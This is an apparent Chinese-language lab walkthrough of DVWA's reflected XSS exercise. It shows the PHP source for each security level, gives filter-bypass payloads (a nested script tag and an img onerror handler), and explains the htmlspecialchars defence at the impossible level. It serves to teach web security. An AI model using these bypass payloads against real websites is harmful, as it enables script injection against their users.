0X01爱之初介绍
虽然XSS已经做了两节了 但是还是还是简单解释一下
前言:跨站脚本(Cross-Site Scripting,XSS)是一种经常出现在Web应用程序中的计算机安全漏洞,是由于Web应用程序对用户的输入过滤不足而产生的。攻击者通常利用网站漏洞把而已的脚本代码(通常包括HTML代码和客户端jjavascript脚本)注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取Cookie资料窃取,会话劫持,钓鱼欺骗等各种攻击。
0X02爱之初体验 low
我们来看一下源码
<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Feedback for end user echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; } ?>
检查是否输入数据 然后输出你输入的数据
没有过滤 兄弟
那我们 直接 就 不多bb
<script>alert('ss')</script>
0X03爱之深入了解 Medium
老规矩 查看源码
<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
噢 这里过滤 <script>
exploit
<scrip<script>t>alert('xss')</script>
0X04爱之深化 high
so 我们来看一下源代码
<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
这里通过正则表达式过滤了<script>
我们可以考虑通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。
兄弟你过滤<script>我们还有img标签呀
exploit
<img src=1 onerror=alert('xss')>
0X05今天来感受一下 impossible
源码
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } // Generate Anti-CSRF token generateSessionToken(); ?>
不仅仅将我们输入的含有html的标签都是作为普通参数 而且还防止了CRSF 加入了 user_token 和session机制
so 我们又了解了一种 XSS的防护方法
总结
基础先搞懂 在深入 我们要根基稳
少就是多